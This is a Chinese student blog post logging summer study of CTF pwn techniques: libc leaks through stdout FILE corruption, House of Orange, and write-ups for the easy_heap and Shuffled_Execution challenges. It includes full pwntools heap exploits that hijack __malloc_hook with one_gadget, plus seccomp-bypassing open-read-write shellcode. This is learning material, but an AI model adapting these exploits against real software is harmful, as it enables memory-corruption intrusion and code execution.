2024暑期学习(二)
暑期学习(2)
学习内容:
1.了解了IO stdout泄露libc基址,但相关细节还没完全弄清楚。(SRCTF新生赛题目还是没做出来,等wp出来好好复现一下)T T
2.了解一点House of Orange,easy_heap复现那里有问题。
3.复现了一点点题目
stdout 泄露 libc 基址
前置知识
程序正确执行到 _IO_overflow
时会将输出缓冲区中的数据输出出来,只要将要泄露的位置设置为输出缓冲区就可以泄露内容,但还要绕过一系列检查。
- 设置
_flag
&~_IO_NO_WRITES
即_flag
&~ 0x8。 - 设置
_flag
&_IO_CURRENTLY_PUTTING
即_flag
| 0x800 - 设置
_fileno
为1。 - 设置
_IO_write_base
指向想要泄露的地方;_IO_write_ptr
指向泄露结束的地址。 - 设置
_IO_read_end
等于_IO_write_base
或设置_flag
&_IO_IS_APPENDING
即_flag
| 0x1000。 - 设置
_IO_write_end
等于_IO_write_ptr
(非必须)。
满足上述五个条件,可实现任意读。
对于没有输出功能的堆题,要想泄露 libc 基址就需要劫持 _IO_2_1_stdout_
结构体。
可以利用 fast bin attack 在 _IO_2_1_stdout_-0x43
处申请 fast bin。
_flag伪造成0xfbad1880
libc2.23
为了方便调试,可以关掉ASLR:
echo 0 > /proc/sys/kernel/randomize_va_space
- 0 = 关闭
- 1 = 半随机。共享库、栈、mmap() 以及 VDSO 将被随机化。(留坑,PIE会影响heap的随机化。。)
- 2 = 全随机。除了1中所述,还有heap。
看下_IO_2_1_stdout_结构体:
pwndbg> p _IO_2_1_stdout_
$1 = {
file = {
_flags = -72537977,
_IO_read_ptr = 0x7ffff7dd56a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_end = 0x7ffff7dd56a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_base = 0x7ffff7dd56a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_base = 0x7ffff7dd56a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_ptr = 0x7ffff7dd56a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_end = 0x7ffff7dd56a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_base = 0x7ffff7dd56a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_end = 0x7ffff7dd56a4 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7dd48e0 <_IO_2_1_stdin_>,
_fileno = 1,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "\n",
_lock = 0x7ffff7dd6780 <_IO_stdfile_1_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7ffff7dd47a0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7dd36e0 <__GI__IO_file_jumps>
}
查看下地址:
pwndbg> p &_IO_2_1_stdout_
$2 = (_IO_FILE_plus *) 0x7ffff7dd5620 <_IO_2_1_stdout_>
之后修改 _IO_write_base
指针的最低 1 字节为 \x88
使其指向 _chain
变量,而 _chain
变量中存储了 _IO_2_1_stdin_
结构体地址,程序在下一次输出内容时会先将 write buf 中的内容输出出来,因此可以泄露 libc 基地址。
add(0x60, '\x00' * 0x33 + p32(0xfbad1880) + ";sh;" + p64(0) * 3 + p8(0x88)) # 5 write_base -> _IO_2_1_stdin_
pwndbg> x/20gx 0x7ffff7dd5620-0x43
0x7ffff7dd55dd <_IO_2_1_stderr_+157>: 0xfff7dd4660000000 0x000000000000007f
0x7ffff7dd55ed <_IO_2_1_stderr_+173>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd55fd <_IO_2_1_stderr_+189>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd560d <_IO_2_1_stderr_+205>: 0x0000000000000000 0xfff7dd36e0000000
0x7ffff7dd561d <_IO_2_1_stderr_+221>: 0x00fbad288700007f 0xfff7dd56a3000000
0x7ffff7dd562d <_IO_2_1_stdout_+13>: 0xfff7dd56a300007f 0xfff7dd56a300007f
0x7ffff7dd563d <_IO_2_1_stdout_+29>: 0xfff7dd56a300007f 0xfff7dd56a300007f
0x7ffff7dd564d <_IO_2_1_stdout_+45>: 0xfff7dd56a300007f 0xfff7dd56a300007f
0x7ffff7dd565d <_IO_2_1_stdout_+61>: 0xfff7dd56a400007f 0x000000000000007f
0x7ffff7dd566d <_IO_2_1_stdout_+77>: 0x0000000000000000 0x0000000000000000
exp:
from pwn import *
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os)
#context.log_level = 'debug'
context.timeout = 0.5
def add_chunk(index, size):
p.sendafter("choice:", "1")
p.sendafter("index:", str(index))
p.sendafter("size:", str(size))
def delete_chunk(index):
p.sendafter("choice:", "2")
p.sendafter("index:", str(index))
def edit_chunk(index, content):
p.sendafter("choice:", "3")
p.sendafter("index:", str(index))
p.sendafter("length:", str(len(content)))
p.sendafter("content:", content)
def show_chunk(index): //假装没有show函数
p.sendafter("choice:", "4")
p.sendafter("index:", str(index))
while True:
p = process([elf.path])
try:
add_chunk(0, 0x68)
add_chunk(1, 0x98)
add_chunk(2, 0x68)
delete_chunk(1)
add_chunk(3, 0x28)
add_chunk(1, 0x68)
edit_chunk(1, p16(0x55dd))
delete_chunk(2)
delete_chunk(0)
delete_chunk(2)
add_chunk(2, 0x68)
edit_chunk(2, p16(0xc0a0))
add_chunk(4, 0x68)
add_chunk(4, 0x68)
add_chunk(4, 0x68)
add_chunk(4, 0x68)
edit_chunk(4, 'a' * 0x33 + p32(0xfbad1880) + ";sh;" + p64(0) * 3 + p8(0x88)) # 5 write_base -> _IO_2_1_stdin_
libc.address = u64(p.recvuntil('\x7F')[-6:].ljust(8, '\x00')) - libc.sym['_IO_2_1_stdin_']
info("libc base: " + hex(libc.address))
delete_chunk(0)
delete_chunk(1)
delete_chunk(0)
add_chunk(0, 0x68)
edit_chunk(0, p64(libc.sym["__malloc_hook"] - 0x23))
one_gadget = [0x3f3e6, 0x3f43a, 0xd5c07][2] + libc.address
add_chunk(0, 0x68)
add_chunk(0, 0x68)
add_chunk(0, 0x68)
edit_chunk(0, 'a' * 0x13 + p64(one_gadget))
add_chunk(0, 0x55)
# gdb.attach(p)
p.interactive()
except KeyboardInterrupt:
exit(0)
except:
p.close()
WKCTF
前置知识(House of orange)
House of Orange
house of orange 利用手法有两部分,前半部分是无 free 的情况下得到位于 unsorted bin 的 chunk ,后半部分是利用 unsorted bin attack 劫持 _IO_list_all
实现 FSOP 。
首先是第一部分。如果当前堆的 top chunk 尺寸不足以满足申请分配的大小的时候,原来的 top chunk 会被释放并被置入 unsorted bin 中,通过这一点可以在没有 free 函数情况下获取到 unsorted bins。
但是执行 sysmalloc 来向系统申请内存有 mmap 和 brk 两种分配方式,我们需要让堆以 brk 的形式拓展,之后原有的 top chunk 会被置于 unsorted bin 中。这需要 malloc 的尺寸不能大于mmp_.mmap_threshold
if ((unsigned long)(nb) >= (unsigned long)(mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))
如果所需分配的 chunk 大小大于 mmap 分配阈值,默认为 128K,并且当前进程使用 mmap() 分配的内存块小于设定的最大值,将使用 mmap() 系统调用直接向操作系统申请内存。
还没咋搞懂哈
easy_heap
检查保护,got可写,没开PIE:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
libc2.23菜单题,没有free函数,add()
:
unsigned __int64 add()
{
int v0; // ebx
int size[7]; // [rsp+4h] [rbp-1Ch] BYREF
*(_QWORD *)&size[1] = __readfsqword(0x28u);
size[0] = 0;
if ( (unsigned int)chunk_number > 0x20 )
{
puts("too much");
exit(0);
}
puts("Size :");
__isoc99_scanf("%d", size);
if ( size[0] > 0x1000u )
{
puts("too large");
exit(0);
}
chunk_size[chunk_number] = size[0];
v0 = chunk_number;
(&chunk_ptr)[v0] = (int *)malloc((unsigned int)size[0]);
puts("Content :");
read(0, (&chunk_ptr)[chunk_number], (unsigned int)size[0]);
++chunk_number;
return __readfsqword(0x28u) ^ *(_QWORD *)&size[1];
}
edit()
数入size可控,可以造成堆溢出:
unsigned __int64 edit()
{
unsigned int v1; // [rsp+0h] [rbp-10h] BYREF
_DWORD nbytes[3]; // [rsp+4h] [rbp-Ch] BYREF
*(_QWORD *)&nbytes[1] = __readfsqword(0x28u);
v1 = 0;
nbytes[0] = 0;
puts("Index :");
__isoc99_scanf("%d", &v1);
puts("Size :");
__isoc99_scanf("%d", nbytes);
if ( nbytes[0] > 0x1000u )
{
puts("too large");
exit(0);
}
puts("Content :");
read(0, *((void **)&chunk_ptr + v1), nbytes[0]);
return __readfsqword(0x28u) ^ *(_QWORD *)&nbytes[1];
}
先是House of orange,得到unsorted bin 的chunk,
- 伪造的 top chunk 的结束位置必须要对齐到内存页(4k)
- size 要大于 MINSIZE(0x10)
- size 要小于之后申请的 chunk size + MINSIZE(0x10)
- size 的 prev inuse 位必须为 1
先申请一个0x68的堆快,看下TOPchunk的size
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x236b000
Size: 0x70 (with flag bits: 0x71)
Top chunk | PREV_INUSE
Addr: 0x236b070
Size: 0x20f90 (with flag bits: 0x20f91)
pwndbg> p/x 0x236b070+0xf90
$1 = 0x236c000
改top chunk的size为0xf91,并申请一个个比0xf91大的chunk,然后申请0x10的chunk来泄露libc:
add(0x68)
payload = 'a' * 0x68 + p64(0xf91)
edit(0, len(payload), payload)
add(0x1000)
add(0x10)
show(2)
libc_addres=u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00'))-0x5161
info("libc addres: "+hex(libc_addres))
gdb.attach(p)
one_gadget=[0x4527a,0x4527a,0xf1247][0]+libc_addres
malloc_hook=libc_addres+libc.sym['__malloc_hook']
此时堆的情况,再申请一个0xf40来清空bin
然后用同样的办法,将新的 top_chunk
链入到 fastbin
,其中要注意的是需要控制好伪造的 top_chunk_size
的大小和堆块被切割后的剩余大小,才能被链入目标 bin 链
后续这里我没有成功,找不到新的top_chunk!!!
exp:
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
ip_port = ['127.0.0.1', 9999]
pwnfile = './pwn'
elf = ELF(pwnfile)
libcfile = './libc-2.23.so'
libc = ELF(libcfile)
# libc = elf.libc
def loginfo(a, b=None):
if b is None:
log.info(a)
else:
log.info(a + hex(b))
if len(sys.argv) == 2:
if 'p' in sys.argv[1]:
p = process(pwnfile)
elif 'r' in sys.argv[1]:
p = remote(ip_port[0], ip_port[1])
else:
loginfo("INVALID_PARAMETER")
sys.exit(1)
def recv64_addr():
return u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
def debug(content=None):
if content is None:
gdb.attach(p)
pause()
else:
gdb.attach(p, content)
pause()
def menu(index):
p.sendlineafter('>\n', str(index))
def add(size, content='a'):
menu(1)
p.sendlineafter('Size :\n', str(size))
p.sendafter('Content :\n', content)
def edit(index, size, content='a'):
menu(2)
p.sendlineafter('Index :\n', str(index))
p.sendlineafter('Size :\n', str(size))
p.sendafter('Content :\n', content)
def show(index):
menu(3)
p.sendlineafter('Index :\n', str(index))
def exp():
# debug()
add(0x68) # 0
payload = 'a'*0x68 + p64(0xf91)
edit(0, len(payload), payload)
add(0x1000) # 1
add(0x10) # 2
show(2)
libc_addr = recv64_addr()
libc_base = libc_addr - 0x3c5161
one_gadget = [0x4527a, 0xf03a4, 0xf1247]
shell = libc_base + one_gadget[2]
malloc_hook = libc_base + libc.sym['__malloc_hook']
# pause()
add(0xf48) # 3, chunk empty
# pause()
add(0x68) # 4
payload = 'a'*0x68 + p64(0xf81)
edit(4, 0x70, payload)
add(0xf00-0x20) # 5, edit this chunk
add(0x100) # 6
payload = 'a'*(0xf00-0x20+0x8) + p64(0x71) + p64(malloc_hook - 0x23)
edit(5, len(payload), payload)
add(0x68)
payload = p8(0)*3 + p64(0)*2 + p64(shell)
add(0x68, payload)
menu(1)
p.sendlineafter('Size :\n', str(1))
p.interactive()
2024春秋杯夏
Shuffled_Execution
保护全开
main():
int __fastcall main(int argc, const char **argv, const char **envp)
{
size_t v3; // rsi
__int64 v4; // rax
char *s; // [rsp+28h] [rbp-18h]
init();
s = (char *)mmap((void *)0x1337000, 0x1000uLL, 7, 34, -1, 0LL);
if ( s == (char *)-1LL )
{
perror("mmap failed");
exit(1);
}
syscall(0LL, 0LL, 0x1337000LL, 0x250LL);
v3 = strlen(s);
shuffle(s, v3);
if ( v3 <= 0xAF )
{
sandbox();
jmp_shell();
LODWORD(v4) = 0;
}
else
{
return (int)"Error triggered...";
}
return v4;
}
沙箱规则如下:
➜ Shuffled_Execution seccomp-tools dump ./Shuffled_Execution
The only chance to pass the entrance.
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0d 0xc000003e if (A != ARCH_X86_64) goto 0015
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0a 0xffffffff if (A != 0xffffffff) goto 0015
0005: 0x15 0x09 0x00 0x00000000 if (A == read) goto 0015
0006: 0x15 0x08 0x00 0x00000001 if (A == write) goto 0015
0007: 0x15 0x07 0x00 0x00000002 if (A == open) goto 0015
0008: 0x15 0x06 0x00 0x00000011 if (A == pread64) goto 0015
0009: 0x15 0x05 0x00 0x00000013 if (A == readv) goto 0015
0010: 0x15 0x04 0x00 0x00000028 if (A == sendfile) goto 0015
0011: 0x15 0x03 0x00 0x0000003b if (A == execve) goto 0015
0012: 0x15 0x02 0x00 0x00000127 if (A == preadv) goto 0015
0013: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0015
0014: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0015: 0x06 0x00 0x00 0x00000000 return KILL
read、write、open被禁了,选择使用 openat
, preadv2
, writev
进行 orw flag,用户输入后会在 shuffle()
函数中对输入进行变换,但是操作长度 sc_len
由 v3 = strlen(s)
传入,所以可以使用 "\x00"
来绕过
exp:
from pwn import *
p = process('./Shuffled_Execution')
elf = ELF('./Shuffled_Execution')
libc = ('./libc.so.6')
context(os='linux', arch='amd64', log_level='debug')
shellcode = '''
mov rbp,0x1337100
mov rsp,rbp
mov rax, 0x67616c662f2e
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
xor rdx, rdx
push SYS_openat
pop rax
syscall
mov rdi, 3
push 0x30
lea rbx, [rsp-8]
push rbx
mov rsi, rsp
mov rdx, 1
xor r10, r10
xor r8, r8
push SYS_preadv2
pop rax
syscall
push 1
pop rdi
push 0x1
pop rdx
push 0x30
lea rbx, [rsp+8]
push rbx
mov rsi, rsp
push SYS_writev
pop rax
syscall
'''
shellcode = asm(shellcode)
p.send(shellcode)
print(p.recv())
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步